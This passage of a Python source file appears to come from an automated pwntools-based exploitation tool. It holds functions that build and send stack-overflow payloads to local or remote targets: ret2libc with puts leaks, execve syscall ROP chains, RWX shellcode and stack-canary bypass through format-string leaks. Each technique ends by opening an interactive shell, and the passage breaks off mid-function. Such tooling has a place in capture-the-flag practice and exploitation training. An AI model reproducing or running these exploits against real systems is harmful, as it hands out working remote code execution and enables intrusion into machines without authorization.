exploitation not possible") 1982 | sys.exit(0) 1983 | 1984 | io = remote(url, port) 1985 | e = ELF(program) 1986 | system_addr = e.symbols['system'] 1987 | bin_sh_addr = next(e.search(b'/bin/sh')) 1988 | 1989 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1990 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 1991 | 1992 | pop_rdi_addr = int(pop_rdi_addr, 16) 1993 | pop_rdi_addr = p64(pop_rdi_addr) 1994 | ret_addr = int(ret_addr, 16) 1995 | ret_addr = p64(ret_addr) 1996 | 1997 | if other_rdi_registers == 1: 1998 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) 1999 | elif other_rdi_registers == 0: 2000 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)]) 2001 | 2002 | io.sendline(payload) 2003 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2004 | io.interactive() 2005 | 2006 | def ret2libc_put_x32(program, libc, padding, libc_path): 2007 | """ret2libc exploitation using puts function (x32)""" 2008 | print_section_header("EXPLOITATION: ret2libc (puts) - x32") 2009 | print_payload("preparing ret2libc exploit using puts function") 2010 | 2011 | io = process(program) 2012 | if libc == 1: 2013 | if libc_path == None: 2014 | print_info("using LibcSearcher") 2015 | else: 2016 | print_info(f"using detected libc: {libc_path}") 2017 | libc = ELF(libc_path) 2018 | else: 2019 | libc = ELF(libc) 2020 | 2021 | e = ELF(program) 2022 | main_addr = e.symbols['main'] 2023 | puts_plt = e.symbols['puts'] 2024 | puts_got = e.got['puts'] 2025 | 2026 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") 2027 | print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}") 2028 | print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}") 2029 | 2030 | payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got) 2031 | io.recv() 2032 | io.sendline(payload1) 2033 | 2034 | puts_addr = u32(io.recvuntil(b'\xf7')[-4:]) 2035 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") 2036 | 2037 | if libc == 1: 2038 | libc = LibcSearcher("puts", puts_addr) 2039 | libcbase = puts_addr - libc.dump('puts') 2040 | system_addr = libcbase + libc.dump('system') 2041 | sh_addr = libcbase + libc.dump('str_bin_sh') 2042 | else: 2043 | libc_puts = libc.symbols['puts'] 2044 | system_addr = puts_addr - libc_puts + libc.symbols['system'] 2045 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) 2046 | 2047 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2048 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2049 | 2050 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) 2051 | io.sendline(payload2) 2052 | 2053 | # Handle successful exploitation 2054 | handle_exploitation_success( 2055 | 'ret2libc (puts) - x32', 2056 | payload2, 2057 | padding, 2058 | { 2059 | 'puts_plt': hex(puts_plt), 2060 | 'puts_got': hex(puts_got), 2061 | 'main': hex(main_addr), 2062 | 'puts_addr': hex(puts_addr), 2063 | 'system': hex(system_addr), 2064 | 'sh': hex(sh_addr) 2065 | }, 2066 | 'Stack Buffer Overflow', 2067 | 'x32' 2068 | ) 2069 | 2070 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2071 | io.interactive() 2072 | 2073 | def ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path): 2074 | """ret2libc exploitation using puts function (x64)""" 2075 | print_section_header("EXPLOITATION: ret2libc (puts) - x64") 2076 | print_payload("preparing ret2libc exploit using puts function") 2077 | 2078 | io = process(program) 2079 | if libc == 1: 2080 | if libc_path is None: 2081 | print_info("using LibcSearcher") 2082 | else: 2083 | print_info(f"using detected libc: {libc_path}") 2084 | libc = ELF(libc_path) 2085 | else: 2086 | libc = ELF(libc) 2087 | 2088 | e = ELF(program) 2089 | main_addr = e.symbols['main'] 2090 | puts_plt = e.symbols['puts'] 2091 | puts_got = e.got['puts'] 2092 | 2093 | pop_rdi_addr = int(pop_rdi_addr, 16) 2094 | pop_rdi_addr = p64(pop_rdi_addr) 2095 | 2096 | # First payload: leak puts address from GOT 2097 | payload1 = flat([ 2098 | asm('nop') * padding, 2099 | pop_rdi_addr, 2100 | p64(puts_got), 2101 | p64(puts_plt), 2102 | p64(main_addr) 2103 | ]) 2104 | io.recv() 2105 | io.sendline(payload1) 2106 | 2107 | puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) 2108 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") 2109 | 2110 | # Calculate libc base and system, /bin/sh addresses 2111 | if libc == 1: 2112 | libc = LibcSearcher("puts", puts_addr) 2113 | libcbase = puts_addr - libc.dump('puts') 2114 | system_addr = libcbase + libc.dump('system') 2115 | sh_addr = libcbase + libc.dump('str_bin_sh') 2116 | else: 2117 | libc_puts = libc.symbols['puts'] 2118 | system_addr = puts_addr - libc_puts + libc.symbols['system'] 2119 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) 2120 | 2121 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2122 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2123 | 2124 | io.recv() 2125 | ret_addr = p64(int(ret_addr, 16)) 2126 | 2127 | # Second payload: call system("/bin/sh") 2128 | if other_rdi_registers == 1: 2129 | payload2 = flat([ 2130 | asm('nop') * padding, 2131 | pop_rdi_addr, 2132 | p64(sh_addr), 2133 | p64(0), 2134 | ret_addr, 2135 | p64(system_addr), 2136 | p64(0) 2137 | ]) 2138 | else: 2139 | payload2 = flat([ 2140 | asm('nop') * padding, 2141 | pop_rdi_addr, 2142 | p64(sh_addr), 2143 | ret_addr, 2144 | p64(system_addr) 2145 | ]) 2146 | 2147 | io.sendline(payload2) 2148 | 2149 | # Handle successful exploitation 2150 | handle_exploitation_success( 2151 | 'ret2libc (puts) - x64', 2152 | payload2, 2153 | padding, 2154 | { 2155 | 'puts_plt': hex(puts_plt), 2156 | 'puts_got': hex(puts_got), 2157 | 'main': hex(main_addr), 2158 | 'puts_addr': hex(puts_addr), 2159 | 'system': hex(system_addr), 2160 | 'sh': hex(sh_addr) 2161 | }, 2162 | 'Stack Buffer Overflow', 2163 | 'x64' 2164 | ) 2165 | 2166 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2167 | io.interactive() 2168 | 2169 | def execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80): 2170 | """execve syscall exploitation (x32)""" 2171 | print_section_header("EXPLOITATION: execve syscall - x32") 2172 | print_payload("preparing execve syscall exploit") 2173 | 2174 | if pop_ecx_addr == None: 2175 | io = process(program) 2176 | e = ELF(program) 2177 | bin_sh_addr = next(e.search(b'/bin/sh')) 2178 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 2179 | 2180 | pop_eax_addr = int(pop_eax_addr, 16) 2181 | pop_eax_addr = p32(pop_eax_addr) 2182 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) 2183 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) 2184 | pop_edx_addr = int(pop_edx_addr, 16) 2185 | pop_edx_addr = p32(pop_edx_addr) 2186 | int_0x80 = int(int_0x80, 16) 2187 | int_0x80 = p32(int_0x80) 2188 | 2189 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) 2190 | io.recv() 2191 | io.sendline(payload) 2192 | 2193 | handle_exploitation_success( 2194 | exploit_type='execve syscall - x32 (ecx_ebx)', 2195 | payload=payload, 2196 | padding=padding, 2197 | addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ecx_ebx_addr': pop_ecx_ebx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80}, 2198 | vulnerability_type='Buffer Overflow', 2199 | architecture='x32' 2200 | ) 2201 | io.interactive() 2202 | else: 2203 | io = process(program) 2204 | e = ELF(program) 2205 | bin_sh_addr = next(e.search(b'/bin/sh')) 2206 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 2207 | 2208 | pop_eax_addr = int(pop_eax_addr, 16) 2209 | pop_eax_addr = p32(pop_eax_addr) 2210 | pop_ecx_addr = int(pop_ecx_addr, 16) 2211 | pop_ecx_addr = p32(pop_ecx_addr) 2212 | pop_ebx_addr = int(pop_ebx_addr, 16) 2213 | pop_ebx_addr = p32(pop_ebx_addr) 2214 | pop_edx_addr = int(pop_edx_addr, 16) 2215 | pop_edx_addr = p32(pop_edx_addr) 2216 | int_0x80 = int(int_0x80, 16) 2217 | int_0x80 = p32(int_0x80) 2218 | 2219 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) 2220 | io.recv() 2221 | io.sendline(payload) 2222 | 2223 | handle_exploitation_success( 2224 | exploit_type='execve syscall - x32 (separate)', 2225 | payload=payload, 2226 | padding=padding, 2227 | addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ebx_addr': pop_ebx_addr, 'pop_ecx_addr': pop_ecx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80}, 2228 | vulnerability_type='Buffer Overflow', 2229 | architecture='x32' 2230 | ) 2231 | io.interactive() 2232 | 2233 | def rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr): 2234 | """RWX shellcode exploitation (x32)""" 2235 | print_section_header("EXPLOITATION: RWX Shellcode - x32") 2236 | print_payload("preparing RWX shellcode exploit") 2237 | 2238 | io = process(program) 2239 | elf = ELF(program) 2240 | buf_addr = int(buf_addr, 16) 2241 | buf_addr = p32(buf_addr) 2242 | name_addr = elf.symbols[function_name] 2243 | shellcode = asm(shellcraft.sh()) 2244 | 2245 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") 2246 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") 2247 | 2248 | payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)]) 2249 | io.recv() 2250 | io.sendline(payload) 2251 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2252 | io.interactive() 2253 | 2254 | def rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path): 2255 | """RWX shellcode exploitation (x64)""" 2256 | print_section_header("EXPLOITATION: RWX Shellcode - x64") 2257 | print_payload("preparing RWX shellcode exploit") 2258 | 2259 | io = process(program) 2260 | elf = ELF(program) 2261 | buf_addr = int(buf_addr, 16) 2262 | buf_addr = p64(buf_addr) 2263 | name_addr = elf.symbols[function_name] 2264 | shellcode = asm(shellcraft.sh()) 2265 | 2266 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") 2267 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") 2268 | 2269 | payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)]) 2270 | io.recv() 2271 | io.sendline(payload) 2272 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2273 | io.interactive() 2274 | 2275 | def ret2libc_put_x32_remote(program, libc, padding, url, port): 2276 | """Remote ret2libc exploitation using puts for x32 architecture""" 2277 | print_section_header("EXPLOITATION: ret2libc (puts) - x32 Remote") 2278 | print_payload("preparing remote ret2libc exploit using puts function") 2279 | 2280 | io = remote(url, port) 2281 | 2282 | if libc == 1: 2283 | print_info("using LibcSearcher for libc resolution") 2284 | else: 2285 | libc = ELF(libc) 2286 | 2287 | e = ELF(program) 2288 | main_addr = e.symbols['main'] 2289 | puts_plt = e.symbols['puts'] 2290 | puts_got = e.got['puts'] 2291 | 2292 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") 2293 | print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}") 2294 | print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}") 2295 | 2296 | # First payload: leak puts address 2297 | payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got) 2298 | 2299 | print_payload("sending puts leak payload") 2300 | io.recv() 2301 | io.sendline(payload1) 2302 | 2303 | # Receive leaked puts address 2304 | puts_addr = u32(io.recvuntil(b'\xf7')[-4:]) 2305 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") 2306 | 2307 | if libc == 1: 2308 | libc = LibcSearcher("puts", puts_addr) 2309 | libcbase = puts_addr - libc.dump('puts') 2310 | system_addr = libcbase + libc.dump('system') 2311 | sh_addr = libcbase + libc.dump('str_bin_sh') 2312 | else: 2313 | libc_puts = libc.symbols['puts'] 2314 | system_addr = puts_addr - libc_puts + libc.symbols['system'] 2315 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) 2316 | 2317 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2318 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2319 | 2320 | # Second payload: execute system("/bin/sh") 2321 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) 2322 | io.sendline(payload2) 2323 | 2324 | # Handle successful exploitation 2325 | handle_exploitation_success( 2326 | 'ret2libc (puts) - x32 Remote', 2327 | payload2, 2328 | padding, 2329 | { 2330 | 'puts_plt': hex(puts_plt), 2331 | 'puts_got': hex(puts_got), 2332 | 'main': hex(main_addr), 2333 | 'puts_addr': hex(puts_addr), 2334 | 'system': hex(system_addr), 2335 | 'sh': hex(sh_addr) 2336 | }, 2337 | 'Stack Buffer Overflow', 2338 | 'x32' 2339 | ) 2340 | 2341 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2342 | io.interactive() 2343 | 2344 | def ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port): 2345 | """Remote ret2libc exploitation using puts for x64 architecture""" 2346 | print_section_header("EXPLOITATION: ret2libc (puts) - x64 Remote") 2347 | print_payload("preparing remote ret2libc exploit using puts function") 2348 | 2349 | io = remote(url, port) 2350 | if libc == 1: 2351 | print_info("using LibcSearcher for libc resolution") 2352 | else: 2353 | libc = ELF(libc) 2354 | 2355 | e = ELF(program) 2356 | main_addr = e.symbols['main'] 2357 | puts_plt = e.symbols['puts'] 2358 | puts_got = e.got['puts'] 2359 | 2360 | pop_rdi_addr = int(pop_rdi_addr, 16) 2361 | pop_rdi_addr = p64(pop_rdi_addr) 2362 | 2363 | # First payload: leak puts address from GOT 2364 | payload1 = flat([ 2365 | asm('nop') * padding, 2366 | pop_rdi_addr, 2367 | p64(puts_got), 2368 | p64(puts_plt), 2369 | p64(main_addr) 2370 | ]) 2371 | 2372 | print_payload("sending puts leak payload") 2373 | io.recv() 2374 | io.sendline(payload1) 2375 | 2376 | # Receive leaked puts address 2377 | puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) 2378 | print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") 2379 | 2380 | # Calculate libc base and system, /bin/sh addresses 2381 | if libc == 1: 2382 | libc = LibcSearcher("puts", puts_addr) 2383 | libcbase = puts_addr - libc.dump('puts') 2384 | system_addr = libcbase + libc.dump('system') 2385 | sh_addr = libcbase + libc.dump('str_bin_sh') 2386 | else: 2387 | libc_puts = libc.symbols['puts'] 2388 | system_addr = puts_addr - libc_puts + libc.symbols['system'] 2389 | sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) 2390 | 2391 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2392 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2393 | 2394 | io.recv() 2395 | ret_addr = p64(int(ret_addr, 16)) 2396 | 2397 | # Second payload: call system("/bin/sh") 2398 | if other_rdi_registers == 1: 2399 | payload2 = flat([ 2400 | asm('nop') * padding, 2401 | pop_rdi_addr, 2402 | p64(sh_addr), 2403 | p64(0), 2404 | ret_addr, 2405 | p64(system_addr), 2406 | p64(0) 2407 | ]) 2408 | else: 2409 | payload2 = flat([ 2410 | asm('nop') * padding, 2411 | pop_rdi_addr, 2412 | p64(sh_addr), 2413 | ret_addr, 2414 | p64(system_addr) 2415 | ]) 2416 | 2417 | io.sendline(payload2) 2418 | 2419 | # Handle successful exploitation 2420 | handle_exploitation_success( 2421 | 'ret2libc (puts) - x64 Remote', 2422 | payload2, 2423 | padding, 2424 | { 2425 | 'puts_plt': hex(puts_plt), 2426 | 'puts_got': hex(puts_got), 2427 | 'main': hex(main_addr), 2428 | 'puts_addr': hex(puts_addr), 2429 | 'system': hex(system_addr), 2430 | 'sh': hex(sh_addr) 2431 | }, 2432 | 'Stack Buffer Overflow', 2433 | 'x64' 2434 | ) 2435 | 2436 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2437 | io.interactive() 2438 | 2439 | def execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port): 2440 | """Remote execve syscall exploitation for x32 architecture""" 2441 | print_section_header("EXPLOITATION: execve syscall - x32 Remote") 2442 | print_payload("preparing remote execve syscall exploit") 2443 | 2444 | io = remote(url, port) 2445 | 2446 | if pop_ecx_addr == None: 2447 | e = ELF(program) 2448 | bin_sh_addr = next(e.search(b'/bin/sh')) 2449 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 2450 | 2451 | pop_eax_addr = int(pop_eax_addr, 16) 2452 | pop_eax_addr = p32(pop_eax_addr) 2453 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) 2454 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) 2455 | pop_edx_addr = int(pop_edx_addr, 16) 2456 | pop_edx_addr = p32(pop_edx_addr) 2457 | int_0x80 = int(int_0x80, 16) 2458 | int_0x80 = p32(int_0x80) 2459 | 2460 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) 2461 | io.recv() 2462 | io.sendline(payload) 2463 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2464 | io.interactive() 2465 | else: 2466 | e = ELF(program) 2467 | bin_sh_addr = next(e.search(b'/bin/sh')) 2468 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 2469 | 2470 | pop_eax_addr = int(pop_eax_addr, 16) 2471 | pop_eax_addr = p32(pop_eax_addr) 2472 | pop_ecx_addr = int(pop_ecx_addr, 16) 2473 | pop_ecx_addr = p32(pop_ecx_addr) 2474 | pop_ebx_addr = int(pop_ebx_addr, 16) 2475 | pop_ebx_addr = p32(pop_ebx_addr) 2476 | pop_edx_addr = int(pop_edx_addr, 16) 2477 | pop_edx_addr = p32(pop_edx_addr) 2478 | int_0x80 = int(int_0x80, 16) 2479 | int_0x80 = p32(int_0x80) 2480 | 2481 | payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) 2482 | io.recv() 2483 | io.sendline(payload) 2484 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2485 | io.interactive() 2486 | 2487 | def rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, url, port): 2488 | """Remote RWX shellcode exploitation for x32 architecture""" 2489 | print_section_header("EXPLOITATION: RWX Shellcode - x32 Remote") 2490 | print_payload("preparing remote RWX shellcode exploit") 2491 | 2492 | io = remote(url, port) 2493 | elf = ELF(program) 2494 | buf_addr = int(buf_addr, 16) 2495 | buf_addr = p32(buf_addr) 2496 | name_addr = elf.symbols[function_name] 2497 | shellcode = asm(shellcraft.sh()) 2498 | 2499 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") 2500 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") 2501 | 2502 | payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)]) 2503 | io.recv() 2504 | io.sendline(payload) 2505 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2506 | io.interactive() 2507 | 2508 | def rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, url, port): 2509 | """Remote RWX shellcode exploitation for x64 architecture""" 2510 | print_section_header("EXPLOITATION: RWX Shellcode - x64 Remote") 2511 | print_payload("preparing remote RWX shellcode exploit") 2512 | 2513 | io = remote(url, port) 2514 | elf = ELF(program) 2515 | buf_addr = int(buf_addr, 16) 2516 | buf_addr = p64(buf_addr) 2517 | name_addr = elf.symbols[function_name] 2518 | shellcode = asm(shellcraft.sh()) 2519 | 2520 | print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") 2521 | print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") 2522 | 2523 | payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)]) 2524 | io.recv() 2525 | io.sendline(payload) 2526 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2527 | io.interactive() 2528 | 2529 | def ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff): 2530 | """ret2libc exploitation with canary bypass using puts for x32 architecture""" 2531 | print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32") 2532 | print_payload("preparing ret2libc exploit with canary bypass using puts function") 2533 | 2534 | io = process(program) 2535 | if libc == 1: 2536 | if libc_path == None: 2537 | print_info("using LibcSearcher for libc resolution") 2538 | else: 2539 | print_info("using user specified libc path") 2540 | libc = ELF(libc_path) 2541 | else: 2542 | libc = ELF(libc) 2543 | e = ELF(program) 2544 | main_addr = e.symbols['main'] 2545 | puts_plt = e.symbols['puts'] 2546 | puts_got = e.got['puts'] 2547 | 2548 | print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}") 2549 | io.recv() 2550 | io.sendline(f'%{c}$p'.encode()) 2551 | result = io.recvline().decode().strip() 2552 | print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}") 2553 | result = int(result, 16) 2554 | canary = p32(result) 2555 | 2556 | print_info("constructing stage 1 payload to leak puts address") 2557 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)]) 2558 | io.recv() 2559 | io.sendline(payload1) 2560 | 2561 | puts_addr=u32(io.recvuntil(b'\xf7')[-4:]) 2562 | print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") 2563 | 2564 | print_info("calculating libc base and target addresses") 2565 | if libc == 1: 2566 | libc = LibcSearcher("puts",puts_addr) 2567 | libcbase = puts_addr - libc.dump('puts') 2568 | libc_system = libc.dump('system') 2569 | libc_sh = libc.dump('str_bin_sh') 2570 | system_addr = libcbase + libc_system 2571 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2572 | sh_addr = libcbase + libc_sh 2573 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2574 | else: 2575 | libc_puts = libc.symbols['puts'] 2576 | libc_system = libc.symbols['system'] 2577 | libc_sh = next(libc.search(b'/bin/sh')) 2578 | system_addr = puts_addr - libc_puts + libc_system 2579 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2580 | sh_addr = puts_addr - libc_puts + libc_sh 2581 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2582 | 2583 | print_info("re-leaking canary for stage 2 exploit") 2584 | io.recv() 2585 | io.sendline(f'%{c}$p'.encode()) 2586 | io.recv() 2587 | print_info("constructing stage 2 payload for system call") 2588 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)]) 2589 | io.sendline(payload2) 2590 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2591 | io.interactive() 2592 | 2593 | def ret2libc_put_x32_canary_remote(program,libc,padding,url,port,c,diff): 2594 | """Remote ret2libc exploitation with canary bypass using puts for x32 architecture""" 2595 | print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32 Remote") 2596 | print_payload(f"preparing remote ret2libc exploit with canary bypass to {Colors.YELLOW}{url}:{port}{Colors.END}") 2597 | 2598 | io = remote(url,port) 2599 | if libc == 1: 2600 | if libc_path == None: 2601 | print_info("using LibcSearcher for libc resolution") 2602 | else: 2603 | print_info("using user specified libc path") 2604 | libc = ELF(libc_path) 2605 | else: 2606 | libc = ELF(libc) 2607 | e = ELF(program) 2608 | main_addr = e.symbols['main'] 2609 | puts_plt = e.symbols['puts'] 2610 | puts_got = e.got['puts'] 2611 | 2612 | print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}") 2613 | io.recv() 2614 | io.sendline(f'%{c}$p'.encode()) 2615 | result = io.recvline().decode().strip() 2616 | print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}") 2617 | result = int(result, 16) 2618 | canary = p32(result) 2619 | 2620 | print_info("constructing stage 1 payload to leak puts address") 2621 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)]) 2622 | io.recv() 2623 | io.sendline(payload1) 2624 | 2625 | puts_addr=u32(io.recvuntil(b'\xf7')[-4:]) 2626 | print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") 2627 | 2628 | print_info("calculating libc base and target addresses") 2629 | if libc == 1: 2630 | libc = LibcSearcher("puts",puts_addr) 2631 | libcbase = puts_addr - libc.dump('puts') 2632 | libc_system = libc.dump('system') 2633 | libc_sh = libc.dump('str_bin_sh') 2634 | system_addr = libcbase + libc_system 2635 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2636 | sh_addr = libcbase + libc_sh 2637 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2638 | else: 2639 | libc_puts = libc.symbols['puts'] 2640 | libc_system = libc.symbols['system'] 2641 | libc_sh = next(libc.search(b'/bin/sh')) 2642 | system_addr = puts_addr - libc_puts + libc_system 2643 | print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 2644 | sh_addr = puts_addr - libc_puts + libc_sh 2645 | print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 2646 | 2647 | print_info("re-leaking canary for stage 2 exploit") 2648 | io.recv() 2649 | io.sendline(f'%{c}$p'.encode()) 2650 | io.recv() 2651 | print_info("constructing stage 2 payload for system call") 2652 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)]) 2653 | io.sendline(payload2) 2654 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 2655 | io.interactive() 2656 | 2657 | def ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff): 2658 | io = process(program) 2659 | if libc == 1: 2660 | if libc_path == None: 2661 | print_info('Using LibcSearcher') 2662 | else: 2663 | print_warning('User did not specify libc path') 2664 | libc = ELF(libc_path) 2665 | else: 2666 | libc = ELF(libc) 2667 | e = ELF(program) 2668 | main_addr = e.symbols['main'] 2669 | puts_plt = e.symbols['puts'] 2670 | puts_got = e.got['puts'] 2671 | 2672 | pop_rdi_addr = int(pop_rdi_addr, 16) 2673 | pop_rdi_addr = p64(pop_rdi_addr) 2674 | io.recv() 2675 | io.sendline(f'%{c}$p'.encode()) 2676 | result = io.recvline().decode().strip() 2677 | print(f"Canary value is: {result}") 2678 | result = int(result, 16) 2679 | canary = p64(result) 2680 | 2681 | payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)]) 2682 | io.recv() 2683 | io.sendline(payload1) 2684 | 2685 | puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 2686 | print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m') 2687 | 2688 | if libc == 1: 2689 | libc = LibcSearcher("puts",puts_addr) 2690 | libcbase = puts_addr - libc.dump('puts') 2691 | libc_system = libc.dump('system') 2692 | libc_sh = libc.dump('str_bin_sh') 2693 | system_addr = libcbase + libc_system 2694 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2695 | sh_addr = libcbase + libc_sh 2696 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2697 | 